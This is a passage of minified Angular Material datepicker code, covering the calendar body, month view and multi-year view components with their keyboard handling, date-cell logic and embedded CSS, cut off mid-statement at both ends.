h=c.oxw();c.Q6J("activeDate",h.activeDate)("selected",h.selected)("dateFilter",h.dateFilter)("maxDate",h.maxDate)("minDate",h.minDate)("dateClass",h.dateClass)}}function dt(O,de){}const bt=["button"];function ze(O,de){1&O&&(c.O4$(),c.TgZ(0,"svg",3),c._UZ(1,"path",4),c.qZA())}const De=[[["","matDatepickerToggleIcon",""]]],re=["[matDatepickerToggleIcon]"];let pe=(()=>{class O{constructor(){this.changes=new S.xQ,this.calendarLabel="Calendar",this.openCalendarLabel="Open calendar",this.closeCalendarLabel="Close calendar",this.prevMonthLabel="Previous month",this.nextMonthLabel="Next month",this.prevYearLabel="Previous year",this.nextYearLabel="Next year",this.prevMultiYearLabel="Previous 24 years",this.nextMultiYearLabel="Next 24 years",this.switchToMonthViewLabel="Choose date",this.switchToMultiYearViewLabel="Choose month and year",this.startDateLabel="Start date",this.endDateLabel="End date"}formatYearRange(h,$){return`${h} \\u2013 ${$}`}formatYearRangeLabel(h,$){return`${h} to ${$}`}}return O.\\u0275fac=function(h){return new(h||O)},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac,providedIn:"root"}),O})();class P{constructor(de,h,$,ke,lt={},Wt=de,p1){this.value=de,this.displayValue=h,this.ariaLabel=$,this.enabled=ke,this.cssClasses=lt,this.compareValue=Wt,this.rawValue=p1}}let w=(()=>{class O{constructor(h,$){this._elementRef=h,this._ngZone=$,this._focusActiveCellAfterViewChecked=!1,this.numCols=7,this.activeCell=0,this.isRange=!1,this.cellAspectRatio=1,this.previewStart=null,this.previewEnd=null,this.selectedValueChange=new c.vpe,this.previewChange=new c.vpe,this.activeDateChange=new c.vpe,this._enterHandler=ke=>{if(this._skipNextFocus&&"focus"===ke.type)this._skipNextFocus=!1;else if(ke.target&&this.isRange){const lt=this._getCellFromElement(ke.target);lt&&this._ngZone.run(()=>this.previewChange.emit({value:lt.enabled?lt:null,event:ke}))}},this._leaveHandler=ke=>{null!==this.previewEnd&&this.isRange&&ke.target&&this._getCellFromElement(ke.target)&&this._ngZone.run(()=>this.previewChange.emit({value:null,event:ke}))},$.runOutsideAngular(()=>{const ke=h.nativeElement;ke.addEventListener("mouseenter",this._enterHandler,!0),ke.addEventListener("focus",this._enterHandler,!0),ke.addEventListener("mouseleave",this._leaveHandler,!0),ke.addEventListener("blur",this._leaveHandler,!0)})}ngAfterViewChecked(){this._focusActiveCellAfterViewChecked&&(this._focusActiveCell(),this._focusActiveCellAfterViewChecked=!1)}_cellClicked(h,$){h.enabled&&this.selectedValueChange.emit({value:h.value,event:$})}_emitActiveDateChange(h,$){h.enabled&&this.activeDateChange.emit({value:h.value,event:$})}_isSelected(h){return this.startValue===h||this.endValue===h}ngOnChanges(h){const $=h.numCols,{rows:ke,numCols:lt}=this;(h.rows||$)&&(this._firstRowOffset=ke&&ke.length&&ke[0].length?lt-ke[0].length:0),(h.cellAspectRatio||$||!this._cellPadding)&&(this._cellPadding=50*this.cellAspectRatio/lt+"%"),($||!this._cellWidth)&&(this._cellWidth=100/lt+"%")}ngOnDestroy(){const h=this._elementRef.nativeElement;h.removeEventListener("mouseenter",this._enterHandler,!0),h.removeEventListener("focus",this._enterHandler,!0),h.removeEventListener("mouseleave",this._leaveHandler,!0),h.removeEventListener("blur",this._leaveHandler,!0)}_isActiveCell(h,$){let ke=h*this.numCols+$;return h&&(ke-=this._firstRowOffset),ke==this.activeCell}_focusActiveCell(h=!0){this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.pipe((0,U.q)(1)).subscribe(()=>{setTimeout(()=>{const $=this._elementRef.nativeElement.querySelector(".mat-calendar-body-active");$&&(h||(this._skipNextFocus=!0),$.focus())})})})}_scheduleFocusActiveCellAfterViewChecked(){this._focusActiveCellAfterViewChecked=!0}_isRangeStart(h){return X(h,this.startValue,this.endValue)}_isRangeEnd(h){return _e(h,this.startValue,this.endValue)}_isInRange(h){return ct(h,this.startValue,this.endValue,this.isRange)}_isComparisonStart(h){return X(h,this.comparisonStart,this.comparisonEnd)}_isComparisonBridgeStart(h,$,ke){if(!this._isComparisonStart(h)||this._isRangeStart(h)||!this._isInRange(h))return!1;let lt=this.rows[$][ke-1];if(!lt){const Wt=this.rows[$-1];lt=Wt&&Wt[Wt.length-1]}return lt&&!this._isRangeEnd(lt.compareValue)}_isComparisonBridgeEnd(h,$,ke){if(!this._isComparisonEnd(h)||this._isRangeEnd(h)||!this._isInRange(h))return!1;let lt=this.rows[$][ke+1];if(!lt){const Wt=this.rows[$+1];lt=Wt&&Wt[0]}return lt&&!this._isRangeStart(lt.compareValue)}_isComparisonEnd(h){return _e(h,this.comparisonStart,this.comparisonEnd)}_isInComparisonRange(h){return ct(h,this.comparisonStart,this.comparisonEnd,this.isRange)}_isComparisonIdentical(h){return this.comparisonStart===this.comparisonEnd&&h===this.comparisonStart}_isPreviewStart(h){return X(h,this.previewStart,this.previewEnd)}_isPreviewEnd(h){return _e(h,this.previewStart,this.previewEnd)}_isInPreview(h){return ct(h,this.previewStart,this.previewEnd,this.isRange)}_getCellFromElement(h){let $;if(R(h)?$=h:R(h.parentNode)&&($=h.parentNode),$){const ke=$.getAttribute("data-mat-row"),lt=$.getAttribute("data-mat-col");if(ke&<)return this.rows[parseInt(ke)][parseInt(lt)]}return null}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(c.R0b))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["","mat-calendar-body",""]],hostAttrs:[1,"mat-calendar-body"],inputs:{label:"label",rows:"rows",todayValue:"todayValue",startValue:"startValue",endValue:"endValue",labelMinRequiredCells:"labelMinRequiredCells",numCols:"numCols",activeCell:"activeCell",isRange:"isRange",cellAspectRatio:"cellAspectRatio",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd",previewStart:"previewStart",previewEnd:"previewEnd"},outputs:{selectedValueChange:"selectedValueChange",previewChange:"previewChange",activeDateChange:"activeDateChange"},exportAs:["matCalendarBody"],features:[c.TTD],attrs:q,decls:2,vars:2,consts:[["aria-hidden","true",4,"ngIf"],["role","row",4,"ngFor","ngForOf"],["aria-hidden","true"],[1,"mat-calendar-body-label"],["role","row"],["class","mat-calendar-body-label",3,"paddingTop","paddingBottom",4,"ngIf"],["role","gridcell","class","mat-calendar-body-cell-container",3,"width","paddingTop","paddingBottom",4,"ngFor","ngForOf"],["role","gridcell",1,"mat-calendar-body-cell-container"],["type","button",1,"mat-calendar-body-cell",3,"ngClass","tabindex","click","focus"],[1,"mat-calendar-body-cell-content","mat-focus-indicator"],["aria-hidden","true",1,"mat-calendar-body-cell-preview"]],template:function(h,$){1&h&&(c.YNc(0,we,3,6,"tr",0),c.YNc(1,Ze,3,2,"tr",1)),2&h&&(c.Q6J("ngIf",$._firstRowOffset<$.labelMinRequiredCells),c.xp6(1),c.Q6J("ngForOf",$.rows))},dependencies:[u.mk,u.sg,u.O5],styles:[\'.mat-calendar-body{min-width:224px}.mat-calendar-body-label{height:0;line-height:0;text-align:left;padding-left:4.7142857143%;padding-right:4.7142857143%}.mat-calendar-body-cell-container{position:relative;height:0;line-height:0}.mat-calendar-body-cell{-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);position:absolute;top:0;left:0;width:100%;height:100%;background:none;text-align:center;outline:none;font-family:inherit;margin:0}.mat-calendar-body-cell::-moz-focus-inner{border:0}.mat-calendar-body-cell::before,.mat-calendar-body-cell::after,.mat-calendar-body-cell-preview{content:"";position:absolute;top:5%;left:0;z-index:0;box-sizing:border-box;height:90%;width:100%}.mat-calendar-body-range-start:not(.mat-calendar-body-in-comparison-range)::before,.mat-calendar-body-range-start::after,.mat-calendar-body-comparison-start:not(.mat-calendar-body-comparison-bridge-start)::before,.mat-calendar-body-comparison-start::after,.mat-calendar-body-preview-start .mat-calendar-body-cell-preview{left:5%;width:95%;border-top-left-radius:999px;border-bottom-left-radius:999px}[dir=rtl] .mat-calendar-body-range-start:not(.mat-calendar-body-in-comparison-range)::before,[dir=rtl] .mat-calendar-body-range-start::after,[dir=rtl] .mat-calendar-body-comparison-start:not(.mat-calendar-body-comparison-bridge-start)::before,[dir=rtl] .mat-calendar-body-comparison-start::after,[dir=rtl] .mat-calendar-body-preview-start .mat-calendar-body-cell-preview{left:0;border-radius:0;border-top-right-radius:999px;border-bottom-right-radius:999px}.mat-calendar-body-range-end:not(.mat-calendar-body-in-comparison-range)::before,.mat-calendar-body-range-end::after,.mat-calendar-body-comparison-end:not(.mat-calendar-body-comparison-bridge-end)::before,.mat-calendar-body-comparison-end::after,.mat-calendar-body-preview-end .mat-calendar-body-cell-preview{width:95%;border-top-right-radius:999px;border-bottom-right-radius:999px}[dir=rtl] .mat-calendar-body-range-end:not(.mat-calendar-body-in-comparison-range)::before,[dir=rtl] .mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-end:not(.mat-calendar-body-comparison-bridge-end)::before,[dir=rtl] .mat-calendar-body-comparison-end::after,[dir=rtl] .mat-calendar-body-preview-end .mat-calendar-body-cell-preview{left:5%;border-radius:0;border-top-left-radius:999px;border-bottom-left-radius:999px}[dir=rtl] .mat-calendar-body-comparison-bridge-start.mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-bridge-end.mat-calendar-body-range-start::after{width:95%;border-top-right-radius:999px;border-bottom-right-radius:999px}.mat-calendar-body-comparison-start.mat-calendar-body-range-end::after,[dir=rtl] .mat-calendar-body-comparison-start.mat-calendar-body-range-end::after,.mat-calendar-body-comparison-end.mat-calendar-body-range-start::after,[dir=rtl] .mat-calendar-body-comparison-end.mat-calendar-body-range-start::after{width:90%}.mat-calendar-body-in-preview .mat-calendar-body-cell-preview{border-top:dashed 1px;border-bottom:dashed 1px}.mat-calendar-body-preview-start .mat-calendar-body-cell-preview{border-left:dashed 1px}[dir=rtl] .mat-calendar-body-preview-start .mat-calendar-body-cell-preview{border-left:0;border-right:dashed 1px}.mat-calendar-body-preview-end .mat-calendar-body-cell-preview{border-right:dashed 1px}[dir=rtl] .mat-calendar-body-preview-end .mat-calendar-body-cell-preview{border-right:0;border-left:dashed 1px}.mat-calendar-body-disabled{cursor:default}.cdk-high-contrast-active .mat-calendar-body-disabled{opacity:.5}.mat-calendar-body-cell-content{top:5%;left:5%;z-index:1;display:flex;align-items:center;justify-content:center;box-sizing:border-box;width:90%;height:90%;line-height:1;border-width:1px;border-style:solid;border-radius:999px}.mat-calendar-body-cell-content.mat-focus-indicator{position:absolute}.cdk-high-contrast-active .mat-calendar-body-cell-content{border:none}.cdk-high-contrast-active .mat-datepicker-popup:not(:empty),.cdk-high-contrast-active .mat-calendar-body-cell:not(.mat-calendar-body-in-range) .mat-calendar-body-selected{outline:solid 1px}.cdk-high-contrast-active .mat-calendar-body-today{outline:dotted 1px}.cdk-high-contrast-active .mat-calendar-body-cell::before,.cdk-high-contrast-active .mat-calendar-body-cell::after,.cdk-high-contrast-active .mat-calendar-body-selected{background:none}.cdk-high-contrast-active .mat-calendar-body-in-range::before,.cdk-high-contrast-active .mat-calendar-body-comparison-bridge-start::before,.cdk-high-contrast-active .mat-calendar-body-comparison-bridge-end::before{border-top:solid 1px;border-bottom:solid 1px}.cdk-high-contrast-active .mat-calendar-body-range-start::before{border-left:solid 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-range-start::before{border-left:0;border-right:solid 1px}.cdk-high-contrast-active .mat-calendar-body-range-end::before{border-right:solid 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-range-end::before{border-right:0;border-left:solid 1px}.cdk-high-contrast-active .mat-calendar-body-in-comparison-range::before{border-top:dashed 1px;border-bottom:dashed 1px}.cdk-high-contrast-active .mat-calendar-body-comparison-start::before{border-left:dashed 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-comparison-start::before{border-left:0;border-right:dashed 1px}.cdk-high-contrast-active .mat-calendar-body-comparison-end::before{border-right:dashed 1px}[dir=rtl] .cdk-high-contrast-active .mat-calendar-body-comparison-end::before{border-right:0;border-left:dashed 1px}[dir=rtl] .mat-calendar-body-label{text-align:right}\'],encapsulation:2,changeDetection:0}),O})();function R(O){return"TD"===O.nodeName}function X(O,de,h){return null!==h&&de!==h&&O<h&&O===de}function _e(O,de,h){return null!==de&&de!==h&&O>=de&&O===h}function ct(O,de,h,$){return $&&null!==de&&null!==h&&de!==h&&O>=de&&O<=h}class Je{constructor(de,h){this.start=de,this.end=h}}let Et=(()=>{class O{constructor(h,$){this.selection=h,this._adapter=$,this._selectionChanged=new S.xQ,this.selectionChanged=this._selectionChanged,this.selection=h}updateSelection(h,$){const ke=this.selection;this.selection=h,this._selectionChanged.next({selection:h,source:$,oldValue:ke})}ngOnDestroy(){this._selectionChanged.complete()}_isValidDateInstance(h){return this._adapter.isDateInstance(h)&&this._adapter.isValid(h)}}return O.\\u0275fac=function(h){c.$Z()},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac}),O})(),Dt=(()=>{class O extends Et{constructor(h){super(null,h)}add(h){super.updateSelection(h,this)}isValid(){return null!=this.selection&&this._isValidDateInstance(this.selection)}isComplete(){return null!=this.selection}clone(){const h=new O(this._adapter);return h.updateSelection(this.selection,this),h}}return O.\\u0275fac=function(h){return new(h||O)(c.LFG(_._A))},O.\\u0275prov=c.Yz7({token:O,factory:O.\\u0275fac}),O})();const te={provide:Et,deps:[[new c.FiY,new c.tp0,Et],_._A],useFactory:function Ie(O,de){return O||new Dt(de)}},b=new c.OlP("MAT_DATE_RANGE_SELECTION_STRATEGY");let wt=(()=>{class O{constructor(h,$,ke,lt,Wt){this._changeDetectorRef=h,this._dateFormats=$,this._dateAdapter=ke,this._dir=lt,this._rangeStrategy=Wt,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this._userSelection=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){const $=this._activeDate,ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),this._hasSameMonthAndYear($,this._activeDate)||this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setRanges(this._selected)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnChanges(h){const $=h.comparisonStart||h.comparisonEnd;$&&!$.firstChange&&this._setRanges(this.selected)}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_dateSelected(h){const $=h.value,ke=this._getDateFromDayOfMonth($);let lt,Wt;this._selected instanceof Je?(lt=this._getDateInCurrentMonth(this._selected.start),Wt=this._getDateInCurrentMonth(this._selected.end)):lt=Wt=this._getDateInCurrentMonth(this._selected),(lt!==$||Wt!==$)&&this.selectedChange.emit(ke),this._userSelection.emit({value:ke,event:h.event}),this._previewStart=this._previewEnd=null,this._changeDetectorRef.markForCheck()}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromDayOfMonth(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this._activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,-7);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,7);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,1-this._dateAdapter.getDate(this._activeDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarDays(this._activeDate,this._dateAdapter.getNumDaysInMonth(this._activeDate)-this._dateAdapter.getDate(this._activeDate));break;case H.Ku:this.activeDate=h.altKey?this._dateAdapter.addCalendarYears(this._activeDate,-1):this._dateAdapter.addCalendarMonths(this._activeDate,-1);break;case H.VM:this.activeDate=h.altKey?this._dateAdapter.addCalendarYears(this._activeDate,1):this._dateAdapter.addCalendarMonths(this._activeDate,1);break;case H.K5:case H.L_:return this._selectionKeyPressed=!0,void(this._canSelect(this._activeDate)&&h.preventDefault());case H.hY:return void(null!=this._previewEnd&&!(0,H.Vb)(h)&&(this._previewStart=this._previewEnd=null,this.selectedChange.emit(null),this._userSelection.emit({value:null,event:h}),h.preventDefault(),h.stopPropagation()));default:return}this._dateAdapter.compareDate($,this.activeDate)&&(this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked()),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._canSelect(this._activeDate)&&this._dateSelected({value:this._dateAdapter.getDate(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_init(){this._setRanges(this.selected),this._todayDate=this._getCellCompareValue(this._dateAdapter.today()),this._monthLabel=this._dateFormats.display.monthLabel?this._dateAdapter.format(this.activeDate,this._dateFormats.display.monthLabel):this._dateAdapter.getMonthNames("short")[this._dateAdapter.getMonth(this.activeDate)].toLocaleUpperCase();let h=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),1);this._firstWeekOffset=(7+this._dateAdapter.getDayOfWeek(h)-this._dateAdapter.getFirstDayOfWeek())%7,this._initWeekdays(),this._createWeekCells(),this._changeDetectorRef.markForCheck()}_focusActiveCell(h){this._matCalendarBody._focusActiveCell(h)}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_previewChanged({event:h,value:$}){if(this._rangeStrategy){const lt=this._rangeStrategy.createPreview($?$.rawValue:null,this.selected,h);this._previewStart=this._getCellCompareValue(lt.start),this._previewEnd=this._getCellCompareValue(lt.end),this._changeDetectorRef.detectChanges()}}_getDateFromDayOfMonth(h){return this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),h)}_initWeekdays(){const h=this._dateAdapter.getFirstDayOfWeek(),$=this._dateAdapter.getDayOfWeekNames("narrow");let lt=this._dateAdapter.getDayOfWeekNames("long").map((Wt,p1)=>({long:Wt,narrow:$[p1]}));this._weekdays=lt.slice(h).concat(lt.slice(0,h))}_createWeekCells(){const h=this._dateAdapter.getNumDaysInMonth(this.activeDate),$=this._dateAdapter.getDateNames();this._weeks=[[]];for(let ke=0,lt=this._firstWeekOffset;ke<h;ke++,lt++){7==lt&&(this._weeks.push([]),lt=0);const Wt=this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate),this._dateAdapter.getMonth(this.activeDate),ke+1),p1=this._shouldEnableDate(Wt),w1=this._dateAdapter.format(Wt,this._dateFormats.display.dateA11yLabel),Qt=this.dateClass?this.dateClass(Wt,"month"):void 0;this._weeks[this._weeks.length-1].push(new P(ke+1,$[ke],w1,p1,Qt,this._getCellCompareValue(Wt),Wt))}}_shouldEnableDate(h){return!!h&&(!this.minDate||this._dateAdapter.compareDate(h,this.minDate)>=0)&&(!this.maxDate||this._dateAdapter.compareDate(h,this.maxDate)<=0)&&(!this.dateFilter||this.dateFilter(h))}_getDateInCurrentMonth(h){return h&&this._hasSameMonthAndYear(h,this.activeDate)?this._dateAdapter.getDate(h):null}_hasSameMonthAndYear(h,$){return!(!h||!$||this._dateAdapter.getMonth(h)!=this._dateAdapter.getMonth($)||this._dateAdapter.getYear(h)!=this._dateAdapter.getYear($))}_getCellCompareValue(h){if(h){const $=this._dateAdapter.getYear(h),ke=this._dateAdapter.getMonth(h),lt=this._dateAdapter.getDate(h);return new Date($,ke,lt).getTime()}return null}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setRanges(h){h instanceof Je?(this._rangeStart=this._getCellCompareValue(h.start),this._rangeEnd=this._getCellCompareValue(h.end),this._isRange=!0):(this._rangeStart=this._rangeEnd=this._getCellCompareValue(h),this._isRange=!1),this._comparisonRangeStart=this._getCellCompareValue(this.comparisonStart),this._comparisonRangeEnd=this._getCellCompareValue(this.comparisonEnd)}_canSelect(h){return!this.dateFilter||this.dateFilter(h)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_.sG,8),c.Y36(_._A,8),c.Y36(j.Is,8),c.Y36(b,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-month-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd"},outputs:{selectedChange:"selectedChange",_userSelection:"_userSelection",activeDateChange:"activeDateChange"},exportAs:["matMonthView"],features:[c.TTD],decls:7,vars:13,consts:[["role","grid",1,"mat-calendar-table"],[1,"mat-calendar-table-header"],["scope","col",4,"ngFor","ngForOf"],["aria-hidden","true","colspan","7",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"label","rows","todayValue","startValue","endValue","comparisonStart","comparisonEnd","previewStart","previewEnd","isRange","labelMinRequiredCells","activeCell","selectedValueChange","activeDateChange","previewChange","keyup","keydown"],["scope","col"],[1,"cdk-visually-hidden"],["aria-hidden","true"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c.YNc(3,le,5,2,"th",2),c.qZA(),c.TgZ(4,"tr"),c._UZ(5,"th",3),c.qZA()(),c.TgZ(6,"tbody",4),c.NdJ("selectedValueChange",function(lt){return $._dateSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("previewChange",function(lt){return $._previewChanged(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(3),c.Q6J("ngForOf",$._weekdays),c.xp6(3),c.Q6J("label",$._monthLabel)("rows",$._weeks)("todayValue",$._todayDate)("startValue",$._rangeStart)("endValue",$._rangeEnd)("comparisonStart",$._comparisonRangeStart)("comparisonEnd",$._comparisonRangeEnd)("previewStart",$._previewStart)("previewEnd",$._previewEnd)("isRange",$._isRange)("labelMinRequiredCells",3)("activeCell",$._dateAdapter.getDate($.activeDate)-1))},dependencies:[u.sg,w],encapsulation:2,changeDetection:0}),O})();const Vt=24;let qt=(()=>{class O{constructor(h,$,ke){this._changeDetectorRef=h,this._dateAdapter=$,this._dir=ke,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new c.vpe,this.yearSelected=new c.vpe,this.activeDateChange=new c.vpe,this._activeDate=this._dateAdapter.today()}get activeDate(){return this._activeDate}set activeDate(h){let $=this._activeDate;const ke=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))||this._dateAdapter.today();this._activeDate=this._dateAdapter.clampDate(ke,this.minDate,this.maxDate),u1(this._dateAdapter,$,this._activeDate,this.minDate,this.maxDate)||this._init()}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h)),this._setSelectedYear(h)}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}ngAfterContentInit(){this._rerenderSubscription=this._dateAdapter.localeChanges.pipe((0,G.O)(null)).subscribe(()=>this._init())}ngOnDestroy(){this._rerenderSubscription.unsubscribe()}_init(){this._todayYear=this._dateAdapter.getYear(this._dateAdapter.today());const $=this._dateAdapter.getYear(this._activeDate)-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate);this._years=[];for(let ke=0,lt=[];ke<Vt;ke++)lt.push($+ke),4==lt.length&&(this._years.push(lt.map(Wt=>this._createCellForYear(Wt))),lt=[]);this._changeDetectorRef.markForCheck()}_yearSelected(h){const $=h.value,ke=this._dateAdapter.createDate($,0,1),lt=this._getDateFromYear($);this.yearSelected.emit(ke),this.selectedChange.emit(lt)}_updateActiveDate(h){const ke=this._activeDate;this.activeDate=this._getDateFromYear(h.value),this._dateAdapter.compareDate(ke,this.activeDate)&&this.activeDateChange.emit(this.activeDate)}_handleCalendarBodyKeydown(h){const $=this._activeDate,ke=this._isRtl();switch(h.keyCode){case H.oh:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,ke?1:-1);break;case H.SV:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,ke?-1:1);break;case H.LH:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,-4);break;case H.JH:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,4);break;case H.Sd:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate));break;case H.uR:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,Vt-c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate)-1);break;case H.Ku:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10*-Vt:-Vt);break;case H.VM:this.activeDate=this._dateAdapter.addCalendarYears(this._activeDate,h.altKey?10*Vt:Vt);break;case H.K5:case H.L_:this._selectionKeyPressed=!0;break;default:return}this._dateAdapter.compareDate($,this.activeDate)&&this.activeDateChange.emit(this.activeDate),this._focusActiveCellAfterViewChecked(),h.preventDefault()}_handleCalendarBodyKeyup(h){(h.keyCode===H.L_||h.keyCode===H.K5)&&(this._selectionKeyPressed&&this._yearSelected({value:this._dateAdapter.getYear(this._activeDate),event:h}),this._selectionKeyPressed=!1)}_getActiveCell(){return c1(this._dateAdapter,this.activeDate,this.minDate,this.maxDate)}_focusActiveCell(){this._matCalendarBody._focusActiveCell()}_focusActiveCellAfterViewChecked(){this._matCalendarBody._scheduleFocusActiveCellAfterViewChecked()}_getDateFromYear(h){const $=this._dateAdapter.getMonth(this.activeDate),ke=this._dateAdapter.getNumDaysInMonth(this._dateAdapter.createDate(h,$,1));return this._dateAdapter.createDate(h,$,Math.min(this._dateAdapter.getDate(this.activeDate),ke))}_createCellForYear(h){const $=this._dateAdapter.createDate(h,0,1),ke=this._dateAdapter.getYearName($),lt=this.dateClass?this.dateClass($,"multi-year"):void 0;return new P(h,ke,ke,this._shouldEnableYear(h),lt)}_shouldEnableYear(h){if(null==h||this.maxDate&&h>this._dateAdapter.getYear(this.maxDate)||this.minDate&&h<this._dateAdapter.getYear(this.minDate))return!1;if(!this.dateFilter)return!0;for(let ke=this._dateAdapter.createDate(h,0,1);this._dateAdapter.getYear(ke)==h;ke=this._dateAdapter.addCalendarDays(ke,1))if(this.dateFilter(ke))return!0;return!1}_isRtl(){return this._dir&&"rtl"===this._dir.value}_setSelectedYear(h){if(this._selectedYear=null,h instanceof Je){const $=h.start||h.end;$&&(this._selectedYear=this._dateAdapter.getYear($))}else h&&(this._selectedYear=this._dateAdapter.getYear(h))}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.sBO),c.Y36(_._A,8),c.Y36(j.Is,8))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-multi-year-view"]],viewQuery:function(h,$){if(1&h&&c.Gf(w,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass"},outputs:{selectedChange:"selectedChange",yearSelected:"yearSelected",activeDateChange:"activeDateChange"},exportAs:["matMultiYearView"],decls:5,vars:7,consts:[["role","grid",1,"mat-calendar-table"],["aria-hidden","true",1,"mat-calendar-table-header"],["colspan","4",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"rows","todayValue","startValue","endValue","numCols","cellAspectRatio","activeCell","selectedValueChange","activeDateChange","keyup","keydown"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c._UZ(3,"th",2),c.qZA()(),c.TgZ(4,"tbody",3),c.NdJ("selectedValueChange",function(lt){return $._yearSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(4),c.Q6J("rows",$._years)("todayValue",$._todayYear)("startValue",$._selectedYear)("endValue",$._selectedYear)("numCols",4)("cellAspectRatio",4/7)("activeCell",$._getActiveCell()))},dependencies:[w],encapsulation:2,changeDetection:0}),O})();function u1(O,de,h,$,ke){const lt=O.getYear(de),Wt=O.getYear(h),p1=It(O,$,ke);return Math.floor((lt-p1)/Vt)===Math.floor((Wt-p1)/Vt)}function c1(O,de,h,$){return function _t(O,de){return(O%de+de)%de}(O.getYear(de)-It(O,h,$),Vt)}function It(O,de,h){let $=0;return h?$=O.getYear(h)-Vt+1:de&&($=O.getYear(de)),$}let kt=(()=>{class O{constructor(h,$,ke,lt){this._changeDetectorRef=h,this._dateFormats=$,this._dateAdapter=ke,this._dir=lt,this._rerenderSubscription=g.w.EMPTY,this.selectedChange=new 